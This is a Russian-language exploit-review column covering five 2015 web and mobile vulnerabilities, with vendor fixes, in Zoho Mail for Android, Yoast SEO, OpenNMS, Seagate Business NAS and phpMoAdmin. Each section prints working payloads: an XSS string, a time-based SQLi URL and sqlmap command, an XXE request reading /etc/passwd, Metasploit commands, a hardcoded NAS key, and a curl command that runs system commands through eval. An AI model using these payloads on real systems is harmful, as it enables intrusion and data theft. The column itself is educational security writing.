Содержание статьи
Сегодня мы с тобой разберем, так ли хороши кросс-платформенные решения в плане безопасности. Рассмотрим пример того, что если ты используешь в своей работе некий фреймворк, то не стоит забывать и о его проверке, а также о просмотре новостей с найденными в нем уязвимостями. И напоследок проанализируем несколько уязвимостей нулевого дня в различных веб-приложениях.
XSS в Zoho Mail for Android
- CVSSv2: N/A
- BRIEF: Дата релиза: 20 февраля 2015 года
- Автор: @_zulln
- CVE: N/A
В последнее время использование в качестве интерфейса HTML для мобильных платформ становится все популярнее, так как это упрощает кросс-платформенную разработку и благотворно влияет на ее скорость. В качестве подопытного кролика автор уязвимости выбрал приложение для чтения почты с мобильных телефонов на ОС Android от крупной компании Zoho (она имеет репутацию тех, кто заботится о безопасности, так как фигурирует в списке компаний, у которых, по мнению NSA, сложно расшифровывать сообщения).
Для начала нужно получить APK-файл исследуемого приложения, а затем распаковать его (например, с помощью 7-Zip). После распаковки видим папку assets, в которой приложения обычно хранят различные дополнительные файлы. Подобные действия довольно стандартны при исследовании Android-приложений, и о них я уже писал ранее на страницах журнала. Но вернемся к нашим результатам.
В полученном списке присутствуют файлы с расширением .html
, что наводит на мысль, будто это и есть наш интерфейс. А «говорящие» названия, подобные mailDetail.html
(за что спасибо добросовестным разработчикам), лишь это подтверждают. Упомянутое имя файла представляет для нас наибольший интерес при нахождении уязвимости, так как отвечает за отображение письма. В ходе анализа исходного кода стало понятно, что приложение вызывает функцию setContent
:
function setContent(contentToSet,margin) {
document.body.style.marginTop = margin + "px";
document.body.style.marginBottom = "10px";
setBaseURL();
document.getElementById('mailcontentid').innerHTML = "";
handleContentForMailThread($('mailcontentid'), contentToSet);
androidResponse();
}
function handleContentForMailThread(contentEl,value) {
var ind = value.indexOf("<blockquote");// NO I18N
if(ind < 0) {
addContentToElement(contentEl,value);
return;
} else {
...
}
}
function addContentToElement(contentEl,value) {
contentEl.innerHTML = value;
addListener();
}
После дальнейшего изучения переменной contentToSet
(которая, по сути, является содержимым электронного письма) становится ясно, что какая-либо проверка JavaScript внутри найденного HTML-интерфейса отсутствует, и если разработчики и встроили ее, то она должна быть где-то на стороне сервера или внутри Java-кода приложения. Для проверки своих предположений автор изменил этот шаблон, добавив в функцию setContent
строку
alert(contentToSet)
После чего снова упаковал приложение и переподписал, воспользовавшись статьей «How to modify a compiled Android application (.apk file)» от исследователя Карлоса Роггана (Carlos Roggan). Далее было отправлено тестовое письмо с тремя различными полезными нагрузками (результат представлен на скриншоте):
test<jukk
http://test<jukk
http://test%3Cjukk
Первые два отобразились ожидаемо, а вот последнее добавило символ <
в текст, перекодировав его URL-код. Это навело на мысль о существовании фильтра в виде черного списка символов, что усложняло атаку. Можно было, конечно, вручную провести небольшой фаззинг, но автор пошел другим путем.
Для отправки данных из Java-кода в HTML-интерфейс приложения обычно используется компонент webView.loadUrl
. Например:
webView.loadUrl("javascript:initialize(" + myNumber + ");");
Это вполне подходит как объяснение странного поведения при обработке URL-кодированных символов. После изучения декомпилированного кода приложения (прошедшего через обработку утилитами dex2jar и JD-GUI) и поиска кода, который связан с функцией setContent
, автор нашел нужную строку:
this.webView.loadUrl("javascript:setContent(" + JSONObject.quote(this.content) + "," + i + ")");
Что доказало нам наше предположение — разработчики Zoho для передачи данных из Java-кода использовали указанный выше подход.
EXPLOIT
Чтобы лучше понять, рассмотрим небольшой пример:
// Упрощенная строка после передачи данных:
location.href = 'javascript:setContent("%22-alert%281%29-%22")';
// Та же строка, но после обработки:
location.href = 'javascript:setContent(""-alert(1)-"")';
То есть JavaScript-фрагмент выполнится, открывшись как URI-строка, а все закодированные символы с помощью символа %
выполнятся как обычный код.
В итоге, добавив указанную ниже строку в письма, отправляемые клиентам Zoho, ты сможешь выполнить небольшой JavaScript-код внутри мобильного устройства:
%22-alert%281%29-%22
А уже с помощью JS можно попытаться выполнить различные системные команды, о чем я уже писал ранее в одном из своих обзоров эксплойтов.
Так что повсеместное увлечение HTML-интерфейсами не только облегчает разработку, но и позволяет пентестерам, специализирующимся на веб-страницах, искать уязвимости в мобильных приложениях.
TARGETS
- Zoho Mail for Android < 1.0.9.
SOLUTION
Есть исправление от производителя.
Слепая инъекция в плагине WordPress SEO by Yoast
- CVSSv2: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C/E)
- Дата релиза: 11 марта 2015 года
- Автор: ethicalhack3r
- CVE: N/A
У многих веб-мастеров, а особенно тех, кто позиционирует себя как SEO-специалист, есть набор плагинов (составленный лично или взятый из списка у более успешного коллеги), которые они по умолчанию ставят на сайт со своей любимой CMS. Один из таких плагинов, помогающих в продвижении сайта на базе WordPress, — WordPress SEO by Yoast
. О его успешности говорит цифра в 14 миллионов скачиваний. Этот плагин очень часто устанавливают вместе с созданием сайта и забывают, так что указанная цифра вполне реальна и позволяет найти уязвимые сайты на просторах интернета. Правда, у найденной уязвимости есть ограничение — атакующий запрос с инъекцией должен исходить от администратора, редактора или пользователя-автора, но ниже мы рассмотрим возможные пути обхода.
Рассматриваемая уязвимость имеет тип «слепая инъекция» и находится в файле admin/class-bulk-editor-list-table.php
. GET-параметры orderby
и order
недостаточно правильно проверяются перед запросом к базе данных:
529: $orderby = ! empty( $_GET['orderby'] ) ? esc_sql( sanitize_text_field( $_GET['orderby'] ) ) : 'post_title';
...
533: order = esc_sql( strtoupper( sanitize_text_field( $_GET['order'] ) ) );
Если GET-параметр orderby
не пуст, то значение передастся в WordPress-функцию esc_sql()
. В документации сказано, что она позволяет подготовить строку для использования ее в качестве SQL-запроса, а addslashes()
работает с массивами. Этого недостаточно для защиты, и в качестве доказательства ниже представлено несколько примеров атакующих запросов к уязвимому плагину.
EXPLOIT
По указанной ссылке должен пройти администратор сайта, редактор или пользователь-автор, после чего выполнится запрос и страница зависнет на десять секунд:
http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date%2c(select%20*%20from%20(select(sleep(10)))a)&order=asc
Второй пример позволяет «раскрутить» данную уязвимость с помощью утилиты sqlmap из чемоданчика каждого уважающего себя веб-пентестера (только нужно подставить правильные «печеньки»):
python sqlmap.py -u "http://127.0.0.1/wp-admin/admin.php?page=wpseo_bulk-editor&type=title&orderby=post_date*&order=asc" --batch --technique=B --dbms=MySQL --cookie="wordpress_9d...; wordpress_logged_in_9dee67...;"
Так как в плагине отсутствует защита от CSRF-атак, атакующему даже необязательно иметь указанные выше права, а достаточно отправить специально созданную ссылку или «попросить» посетить веб-страницу, которую он контролирует.
Один из возможных сценариев атаки, предлагаемых авторами, — добавить своего собственного пользователя с правами администратора в исследуемый сайт.
TARGETS
- WordPress SEO by Yoast <= 1.7.3.3.
SOLUTION
Есть исправление от производителя.
Уязвимость в OpenNMS — от XXE до получения шелла
- CVSSv2: N/A
- Дата релиза: 8 Января 2015
- Автор: Stephen Breen
- CVE: 2015-0975
Теперь перейдем к уязвимости в системе мониторинга с открытым исходным кодом OpenNMS. Уязвимость позволяет провести XXE-атаку и получить доступ к локальным файлам сервера.
Oшибка находится в демоне RTC. Он отвечает за отслеживание доступности node/interface/service. Данная информация выводится через веб-интерфейс, и ее можно получить через POST-запрос от пользователя rtc
. В большинстве случаев данные для входа следующие:
rtc;rtc
Этот пароль, конечно, может быть изменен, но так как выводимая информация не представляет особой ценности и права у данного пользователя минимальны, то администраторы этим иногда пренебрегают. Кроме того, об этом пользователе не упоминается в обычном руководстве для установки на официальном сайте, только о стандартном пароле admin
у администратора системы.
Также эта ошибка представляет опасность из-за прав, с которыми запускается система мониторинга. Так как для своей работы OpenNMS требует root-доступ, чтобы взаимодействовать, к примеру, с сетевыми портами, то и доступ к файлам, запрашиваемым через XXE-уязвимость, происходит с правами администратора.
Сама же ошибка скрывается в фреймворке Castor, который используется демоном RTC для обработки XML. Ранее в нем нашли XXE-уязвимость, она также позволяла раскрывать содержимое внешних файлов, и присвоили ей номер CVE-2014-3004. Вследствие этого мы и имеем нынешнюю уязвимость уже в OpenNMS. Кстати, заметь, ошибку нашли еще в 2014 году, а в системе мониторинга — уже в 2015-м, так что неизвестно, сколько еще подобных уязвимых продуктов существует в Сети. Успехов в поиске :).
EXPLOIT
Переходим к практике. Пример атакующего запроса, читающего содержимое столь желаемого файла /etc/passwd
:
POST /opennms/rtc/post/xxxxx HTTP/1.1
Host: 1.2.3.4:8980
...
Referer: http://1.2.3.4:8980/opennms/frontPage.htm
<!--?xml version="1.0" encoding="ISO-8859-1"?-->
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>&xxe;
Чтобы получить шелл, нужно «одолжить» файл /root/.ssh/ssh_rsa
и с помощью него успешно авторизоваться на атакуемой машине.
Для удобства эксплуатации также был создан небольшой Metasploit-модуль исследователем jstnkndy, но на момент написания статьи он не был доступен в основной базе, поэтому нужно будет добавить его вручную.
msf > use exploit/linux/http/opennms_xxe.rb
msf exploit(opennms_xxe) > set RHOST 192.168.81.141
msf exploit(opennms_xxe) > exploit
TARGETS
- OpenNMS < 14.0.3.
SOLUTION
Есть исправление от производителя и рекомендации для старых версий.
Для версии 1.12 и старше рекомендуется поменять Spring Security Сontext, изменив или заменив файл $OPENNMS_HOME/jetty-webapps/opennms/WEB-INF/applicationContext-spring-security.xml
. В этом файле требуется поменять секцию <http>
из OpenNMS Realm, ограничив доступ только для нужных IP-адресов. Файл с примером такой настройки можно скачать с официального сайта. В нем мы разрешаем доступ RTC POST
только с локальной системы:
...
Но в случае использования LDAP, Kerberos или других подобных сервисов такие настройки нужно вносить осторожно.
Для версии до 1.12 разработчики советуют поместить OpenNMS за веб прокси-сервером и заблокировать доступ к /opennms/rtc/post/*
.
Удаленное выполнение команд в Seagate Business NAS
- CVSSv2: N/A
- Дата релиза: 1 марта 2015 года
- Автор: OJ Reeves (@TheColonial)
- CVE: 2014-8684, 2014-8686, 2014-8687
О компании Seagate ты наверняка слышал и даже, может, используешь их устройства (они находятся на втором месте после Western Digital по числу распространенных устройств и занимают примерно 41% этого рынка). Сегодня мы разберем уязвимость нулевого дня в одном из их устройств — сетевом хранилище, которое используется как в домашних, так и корпоративных сетях. Упоминается о более чем 2500 устройств, публично доступных в интернете, а сколько еще существует в различных Wi-Fi-сетях — неизвестно. Так что проверить на практике рассматриваемые эксплойты во время пентестов ты наверняка сумеешь.
Найденная уязвимость представляет собой, по сути, набор ошибок в ПО, используемом в устройстве:
- PHP 5.2.13;
- CodeIgniter 2.1.0;
- lighttpd 1.4.28.
Как видишь, все эти версии «немного устаревшие»:
- PHP ниже 5.3.4 позволяют указывать пути к файлам, используя NULL байт, — CVE-2006-7243. Чаще всего эксплуатируется через функции
require()
иinclude()
. - CodeIgniter ниже 2.2.0 позволяет вытащить ключ шифрования и расшифровать содержимое cookie — CVE-2014-8686. После этого атакующий может менять их содержимое, шифровать и отправлять на сервер.
Помимо того, что мы можем достать ключ шифрования, оказалось, что эта линейка NAS-устройств использует один и тот же ключ, — CVE-2014-8687. Также используемое веб-приложение не хранит информацию о пользователе на стороне сервера, а сохраняет в сессии, шифруя уже упомянутым ключом. Полученный хеш в итоге содержит следующие поля:
username
— имя пользователя текущей сессии;is_admin
— является ли пользователь администратором, принимает значениеyes
илиno
;language
— используемый язык, напримерen_US
.
После инициализации сессии в cookie устанавливается параметр username
, и система больше не проверяет эти данные. Это означает, что пользователь может изменять указанные выше параметры без каких-либо дополнительных проверок. Поэтому, например, достаточно изменить is_admin
, чтобы стать администратором текущего веб-приложения.
Более того, использование статичного ключа шифрования позволяет нам, залогинившись на одном устройстве, использовать ту же сессию для доступа на другие NAS-хранилища, то есть в итоге, имея права администратора на домашнем, стать администратором на рабочем.
Параметр language
используется для генерации пути к файлу с соответствующим «языком» и вызывает его с помощью функции include()
. Это позволяет нам провести еще и LFI-атаку.
Ну и напоследок — веб-приложение обслуживается с помощью lighttpd. Кроме того, что версия его ненова, он запускается с правами пользователя root, что позволяет нам все наши манипуляции проводить с высшими правами.
EXPLOIT
Исходя из всего сказанного, мы должны сделать следующее:
- Сохранить PHP-код в системе. Это можно сделать следующим образом:
- в HTTP access логи через заголовок
User-Agent
; - в HTTP error логи через заголовок
Host
; - изменив описание устройства в веб-интерфейсе. Данные сохраняются в файл
/etc/devicedesc
, который требует права root, но для нас это не проблема; - ну и просто загрузить файл в расшаренную папку, если такая имеется.
- в HTTP access логи через заголовок
- С помощью NULL-байта указать путь к полученному файлу в переменную
language
. - Совершить запрос с измененными cookie.
Автор найденной уязвимости написал несколько эксплойтов для этой задачи:
- скрипт на Python;
- Metasploit-модуль.
Каждый из них должен выполнить следующие действия:
- соединиться с уязвимым NAS-устройством и получить cookie
ci_session
; - расшифровать полученное значение, используя вшитый ключ шифрования
0f0a000d02011f0248000d290d0b0b0e03010e07
, и вытащить PHP-хеш; - модифицировать PHP-хеш таким образом, чтобы текущий пользователь стал администратором, установив значение
is_admin
; - зашифровать полученный хеш обратно;
- пройти на страницу с описанием устройства;
- вставить нужный нам полезный код;
- сохранить данные, которые появятся в
/etc/devicedesc
; - снова изменить наш
ci_session
, не забыв расшифровать и снова зашифровать, только теперь поменять значение переменнойlanguage
на../../../../etc/devicedesc\x00
- выполнить запрос и сохранить полезную нагрузку;
- возвратить старое описание устройства.
Так как Metasploit-модуль уже добавлен в базу фреймворка, то можешь сразу начать его использовать:
msf > use exploit/linux/http/seagate_nas_php_exec_noauth
Помимо указанного успешного результата, у нас есть возможность атаковать и пользователей этого устройства. Так как NAS-устройства не используют Active Directory или LDAP, они вынуждены хранить пароли пользователей. Эти данные шифруются с помощью DES (который легко взломать) и сохраняются в /etc/shadow
. А наши любимые пользователи что на работе, что дома до сих пор часто ставят одни и те же пароли. В итоге, скомпрометировав подобное устройство в какой-нибудь компании, мы получаем шанс сразу добыть учетные данные различных пользователей для текущего домена.
Ради интереса можешь посмотреть оригинал статьи в блоге автора, в которой расписаны этапы общения с вендором и время, прошедшее с момента нахождения баги. Несмотря на это, исправления так и не было сделано.
TARGETS
- Business Storage 2-Bay NAS version 2014.00319;
- Business Storage 2-Bay NAS version 2013.60311.
SOLUTION
На момент написания статьи об исправлении не было известно. Рекомендуется отключить доступ из интернета к устройству и/или составить список разрешенных IP-адресов.
Выполнение кода в phpMoAdmin
- CVSSv2: N/A
- Дата релиза: 3 марта 2015 года
- Автор: Pichaya Morimoto
- CVE: N/A
И напоследок разберем банальную уязвимость, но зато нулевого дня, в утилите phpMoAdmin. Данный скрипт представляет собой аналог phpMyAdmin, но для управления MongoDB и написанный с использованием фреймворка Vork.
Уязвимость же позволяет выполнять код в системе с запущенной утилитой. Для этого нам нужно передать параметр object
с неким значением, а далее он поступает в функцию saveObject
без проверок или обработок и передается напрямую в небезопасную функцию eval
:
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787: if (self::$model->saveObject($_GET['collection'], $_POST['object'])) {
...
692: public function saveObject($collection, $obj) {
693: eval('$obj=' . $obj . ';');
EXPLOIT
В качестве эксплойта мы можем выполнять любые системные команды, доступные пользователю, под которым запущен скрипт:
curl "http://path.to/moadmin.php"; -d "object=1;system('id;ls -lha');exit"
И получим примерно следующий ответ при удачной атаке:
HTTP/1.1 200 OK
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 .
drwxr-xr-x 6 root root 4.0K Mar 3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php
TARGETS
- PhpMoAdmin
SOLUTION
На момент написания статьи об исправлении не было известно, но можно попытаться экранировать запрос, используя уже не раз упомянутые функции.